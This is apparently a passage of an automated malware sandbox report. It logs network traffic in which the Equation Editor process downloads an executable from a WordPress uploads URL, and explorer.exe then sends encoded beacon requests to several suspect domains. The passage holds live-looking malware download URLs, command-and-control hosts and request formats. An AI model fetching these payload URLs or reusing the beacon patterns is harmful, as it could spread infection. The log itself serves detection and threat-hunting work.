Nov 21, 2023 13:25:57.972743988 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:57.972872972 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:57.972888947 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:57.972945929 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.340131044 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.340142012 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.340229034 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.340243101 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.340261936 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.340295076 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.340303898 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.340344906 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.340357065 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.340398073 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.340420008 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.340424061 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.340439081 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.340457916 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.340631962 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.341008902 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.341048956 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.341068029 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.341072083 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.341083050 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.341103077 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.341103077 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.341156006 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.341167927 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.341208935 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.341222048 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.341226101 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.341254950 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.341463089 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.341463089 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.708019972 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.708030939 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.708070993 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.708137035 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.708153963 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.708187103 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.708187103 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.708195925 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.708206892 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.708247900 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.708247900 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.708256006 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.708261967 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.708266973 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.708313942 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.708589077 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.709309101 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.709362030 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.709379911 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.709384918 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.709410906 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.709418058 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.709492922 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.709537029 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.709548950 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.709552050 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.709587097 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.709610939 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.709753036 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.709799051 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.709809065 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.709813118 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:58.709852934 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:58.709999084 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.075880051 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.075891018 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.075927973 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.075995922 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.075995922 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.076014042 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.076061964 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.076062918 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.077976942 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.078015089 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.078057051 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.078057051 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.078068972 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.078080893 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.078104019 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.078135967 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.078175068 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.078197956 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.078202963 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.078221083 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.078243017 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.078305960 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.078370094 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.078413963 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.078432083 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.078435898 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.078459024 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.078474998 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.078561068 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.078603029 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.078617096 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.078620911 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.078653097 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.078717947 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.078762054 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.078772068 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.078774929 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.078810930 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.078823090 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.078975916 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.078989983 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.079026937 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.079040051 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.079044104 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.079058886 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.079078913 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.079140902 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.079176903 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.079189062 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.079191923 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.079226971 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.079284906 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.079322100 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.079329967 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.079334021 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.079371929 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.079384089 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.079555988 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.079592943 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.079603910 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.079608917 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.079637051 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.079648018 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.079654932 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.079658985 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.079689980 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.079696894 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.079699993 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.079727888 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:25:59.079735994 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.079767942 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.079942942 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.081475973 CET	49162	443	192.168.2.22	103.224.247.210
Nov 21, 2023 13:25:59.081491947 CET	443	49162	103.224.247.210	192.168.2.22
Nov 21, 2023 13:26:00.464354992 CET	49161	80	192.168.2.22	103.224.247.210
Nov 21, 2023 13:26:55.294487953 CET	49165	80	192.168.2.22	107.164.111.101
Nov 21, 2023 13:26:55.450167894 CET	80	49165	107.164.111.101	192.168.2.22
Nov 21, 2023 13:26:55.450436115 CET	49165	80	192.168.2.22	107.164.111.101
Nov 21, 2023 13:26:55.450467110 CET	49165	80	192.168.2.22	107.164.111.101
Nov 21, 2023 13:26:55.606137037 CET	80	49165	107.164.111.101	192.168.2.22
Nov 21, 2023 13:26:56.648093939 CET	80	49165	107.164.111.101	192.168.2.22
Nov 21, 2023 13:26:56.648200989 CET	80	49165	107.164.111.101	192.168.2.22
Nov 21, 2023 13:26:56.648214102 CET	80	49165	107.164.111.101	192.168.2.22
Nov 21, 2023 13:26:56.648225069 CET	80	49165	107.164.111.101	192.168.2.22
Nov 21, 2023 13:26:56.648513079 CET	49165	80	192.168.2.22	107.164.111.101
Nov 21, 2023 13:26:56.648513079 CET	49165	80	192.168.2.22	107.164.111.101
Nov 21, 2023 13:27:15.168286085 CET	49166	80	192.168.2.22	3.33.130.190
Nov 21, 2023 13:27:15.263226032 CET	80	49166	3.33.130.190	192.168.2.22
Nov 21, 2023 13:27:15.263430119 CET	49166	80	192.168.2.22	3.33.130.190
Nov 21, 2023 13:27:15.263664007 CET	49166	80	192.168.2.22	3.33.130.190
Nov 21, 2023 13:27:15.358530045 CET	80	49166	3.33.130.190	192.168.2.22
Nov 21, 2023 13:27:15.362652063 CET	80	49166	3.33.130.190	192.168.2.22
Nov 21, 2023 13:27:15.362664938 CET	80	49166	3.33.130.190	192.168.2.22
Nov 21, 2023 13:27:15.362915993 CET	49166	80	192.168.2.22	3.33.130.190
Nov 21, 2023 13:27:15.362915993 CET	49166	80	192.168.2.22	3.33.130.190
Nov 21, 2023 13:27:15.375228882 CET	80	49166	3.33.130.190	192.168.2.22
Nov 21, 2023 13:27:15.375420094 CET	49166	80	192.168.2.22	3.33.130.190
Nov 21, 2023 13:27:15.457813025 CET	80	49166	3.33.130.190	192.168.2.22
Nov 21, 2023 13:27:35.330826998 CET	49167	80	192.168.2.22	103.150.181.71
Nov 21, 2023 13:27:36.954817057 CET	80	49167	103.150.181.71	192.168.2.22
Nov 21, 2023 13:27:36.955003023 CET	49167	80	192.168.2.22	103.150.181.71
Nov 21, 2023 13:27:36.955003023 CET	49167	80	192.168.2.22	103.150.181.71
Nov 21, 2023 13:27:41.824326038 CET	49167	80	192.168.2.22	103.150.181.71
Nov 21, 2023 13:27:51.543101072 CET	49167	80	192.168.2.22	103.150.181.71
Nov 21, 2023 13:28:10.996438980 CET	49167	80	192.168.2.22	103.150.181.71
Nov 21, 2023 13:28:30.511953115 CET	49167	80	192.168.2.22	103.150.181.71
Nov 21, 2023 13:28:49.980819941 CET	49167	80	192.168.2.22	103.150.181.71
Nov 21, 2023 13:29:28.871623993 CET	49167	80	192.168.2.22	103.150.181.71
Nov 21, 2023 13:30:06.245902061 CET	49167	80	192.168.2.22	103.150.181.71

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2023 13:25:54.656249046 CET	52917	53	192.168.2.22	8.8.8.8
Nov 21, 2023 13:25:54.755660057 CET	53	52917	8.8.8.8	192.168.2.22
Nov 21, 2023 13:26:35.336592913 CET	54821	53	192.168.2.22	8.8.8.8
Nov 21, 2023 13:26:35.444792032 CET	53	54821	8.8.8.8	192.168.2.22
Nov 21, 2023 13:26:55.181051016 CET	54719	53	192.168.2.22	8.8.8.8
Nov 21, 2023 13:26:55.291516066 CET	53	54719	8.8.8.8	192.168.2.22
Nov 21, 2023 13:27:15.067967892 CET	49881	53	192.168.2.22	8.8.8.8
Nov 21, 2023 13:27:15.167404890 CET	53	49881	8.8.8.8	192.168.2.22
Nov 21, 2023 13:27:35.102672100 CET	54998	53	192.168.2.22	8.8.8.8
Nov 21, 2023 13:27:35.330076933 CET	53	54998	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 21, 2023 13:25:54.656249046 CET	192.168.2.22	8.8.8.8	0x73d6	Standard query (0)	swamini.in	A (IP address)	IN (0x0001)	false
Nov 21, 2023 13:26:35.336592913 CET	192.168.2.22	8.8.8.8	0x622a	Standard query (0)	www.allamericanshuttlellc.com	A (IP address)	IN (0x0001)	false
Nov 21, 2023 13:26:55.181051016 CET	192.168.2.22	8.8.8.8	0xa59f	Standard query (0)	www.shucaimh.com	A (IP address)	IN (0x0001)	false
Nov 21, 2023 13:27:15.067967892 CET	192.168.2.22	8.8.8.8	0x575c	Standard query (0)	www.6061k.vip	A (IP address)	IN (0x0001)	false
Nov 21, 2023 13:27:35.102672100 CET	192.168.2.22	8.8.8.8	0xebec	Standard query (0)	www.xazeyu.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 21, 2023 13:25:54.755660057 CET	8.8.8.8	192.168.2.22	0x73d6	No error (0)	swamini.in		103.224.247.210	A (IP address)	IN (0x0001)	false
Nov 21, 2023 13:26:35.444792032 CET	8.8.8.8	192.168.2.22	0x622a	Name error (3)	www.allamericanshuttlellc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 21, 2023 13:26:55.291516066 CET	8.8.8.8	192.168.2.22	0xa59f	No error (0)	www.shucaimh.com		107.164.111.101	A (IP address)	IN (0x0001)	false
Nov 21, 2023 13:27:15.167404890 CET	8.8.8.8	192.168.2.22	0x575c	No error (0)	www.6061k.vip	6061k.vip		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2023 13:27:15.167404890 CET	8.8.8.8	192.168.2.22	0x575c	No error (0)	6061k.vip		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 21, 2023 13:27:15.167404890 CET	8.8.8.8	192.168.2.22	0x575c	No error (0)	6061k.vip		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 21, 2023 13:27:35.330076933 CET	8.8.8.8	192.168.2.22	0xebec	No error (0)	www.xazeyu.net		103.150.181.71	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

swamini.in

www.shucaimh.com

www.6061k.vip

www.xazeyu.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49161	103.224.247.210	80	1668	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2023 13:25:55.147417068 CET	0	OUT	GET /wp-content/uploads/wpr-addons/forms/balokarat2.1.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: swamini.in Connection: Keep-Alive
Nov 21, 2023 13:25:55.514156103 CET	1	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=UTF-8 Location: https://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exe Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Strict-Transport-Security: max-age=15768000; includeSubDomains Date: Tue, 21 Nov 2023 12:25:52 GMT Content-Length: 194 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 4d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e 4f 62 6a 65 63 74 20 4d 6f 76 65 64 3c 2f 68 31 3e 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 73 77 61 6d 69 6e 69 2e 69 6e 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 77 70 72 2d 61 64 64 6f 6e 73 2f 66 6f 72 6d 73 2f 62 61 6c 6f 6b 61 72 61 74 32 2e 31 2e 65 78 65 22 3e 68 65 72 65 3c 2f 61 3e 3c 2f 62 6f 64 79 3e Data Ascii: <head><title>Document Moved</title></head><body><h1>Object Moved</h1>This document may be found <a HREF="https://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exe">here</a></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49165	107.164.111.101	80	1244	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2023 13:26:55.450467110 CET	359	OUT	GET /t2ti/?4hO02rc=giwc8XVj/AkHwdj5caWP9R2rVnZav6a8h1CJcH9em0U/x824OxogtA/AOr9gMChFXFyvXA==&ll=NdqLMf HTTP/1.1 Host: www.shucaimh.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2023 13:26:56.648093939 CET	361	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 21 Nov 2023 12:26:56 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41 Data Raw: 62 64 65 0d 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 e6 be b3 e9 97 a8 e5 a4 aa e9 98 b3 e9 9b 86 e5 9b a2 e5 9f 8e 39 37 32 38 7c 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 e6 be b3 e9 97 a8 e5 a4 aa e9 98 b3 e9 9b 86 e5 9b a2 e5 9f 8e 39 37 32 38 28 77 77 77 2e 73 68 75 63 61 69 6d 68 2e 63 6f 6d 29 e6 98 af e6 9c 80 e7 83 ad e9 97 a8 e7 9a 84 e5 a8 b1 e4 b9 90 e5 9c ba e6 89 80 e4 b9 8b e4 b8 80 2c e7 a7 89 e6 89 bf e4 bf 9d e8 af 81 e4 b8 80 e6 b5 81 e8 b4 a8 e9 87 8f 2c e4 bf 9d e6 8c 81 e4 b8 80 e7 ba a7 e4 bf a1 e8 aa 89 e7 9a 84 e7 bb 8f e8 90 a5 e7 90 86 e5 bf b5 2c e5 9d 9a e6 8c 81 e5 ae a2 e6 88 b7 e7 ac ac e4 b8 80 e7 9a 84 e5 8e 9f e5 88 99 e4 b8 ba e5 b9 bf e5 a4 a7 e5 ae a2 e6 88 b7 e6 8f 90 e4 be 9b e4 bc 98 e8 b4 a8 e7 9a 84 e6 9c 8d e5 8a a1 e3 80 82 22 3e 0d 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e e6 be b3 e9 97 a8 e5 a4 aa e9 98 b3 e9 9b 86 e5 9b a2 e5 9f 8e 39 37 32 38 7c e9 a6 96 e9 a1 b5 28 e6 ac a2 e8 bf 8e e6 82 a8 29 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 20 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 5f 63 73 73 2f 65 72 72 6f 72 2f 65 72 72 6f 72 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 5f 6a 73 2f 74 68 65 6d 65 73 2f 64 65 66 61 75 6c 74 2f 65 61 73 79 75 69 2e 63 73 73 22 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 5f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 5f 6a 73 2f 74 68 65 6d 65 73 2f 69 63 6f 6e 2e 63 73 73 22 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 5f 6a 73 2f 6a 71 75 65 72 79 2e 65 61 73 79 75 69 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 5f 6a 73 2f 65 61 73 79 75 69 2d 6c 61 6e 67 2d 7a 68 5f 43 4e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a Data Ascii: bde<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><meta name="keywords" content="9728\|"><meta name="description" content="9728(www.shucaimh.com),,,"><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>9728\|()</title><script src="/jquery.min.js" ></script><link href="/_css/error/error.css" rel="stylesheet" type="text/css" /><link rel="stylesheet" type="text/css" href="/_js/themes/default/easyui.css" /><script type="text/javascript" src="/_js/jquery.min.js"></script><link rel="stylesheet" type="text/css" href="/_js/themes/icon.css" /><script type="text/javascript" src="/_js/jquery.easyui.min.js"></script><script type="text/javascript" src="/_js/easyui-lang-zh_CN.js"></script>
Nov 21, 2023 13:26:56.648200989 CET	362	IN	Data Raw: 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 5f 6a 73 2f 63 6f 6d 6d 6f 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a Data Ascii: <script type="text/javascript" src="/_js/common.js"></script><script type="text/javascript" src="/_js/jquery.base64.js"></script></head><body><h1><a href="/" title='9728\|()'>9728\|
Nov 21, 2023 13:26:56.648214102 CET	363	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 74 6f 70 2e 63 6c 6f 73 65 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 Data Ascii: window.top.close(); } </script> </div><div style="clear:both;padding:10px;text-align:center;margin:5"><a href="/shucaimh.com.xml" target="_blank">XML </a> \| <a href="/shu
Nov 21, 2023 13:26:56.648225069 CET	363	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49166	3.33.130.190	80	1244	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2023 13:27:15.263664007 CET	364	OUT	GET /t2ti/?ll=NdqLMf&4hO02rc=qDIrkJK7+k7t2cKm0yqLDiQOFM/oPqsB85v8vrvlTOlWprVZbJOF5qoRsr2uTLTXyB6S3g== HTTP/1.1 Host: www.6061k.vip Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
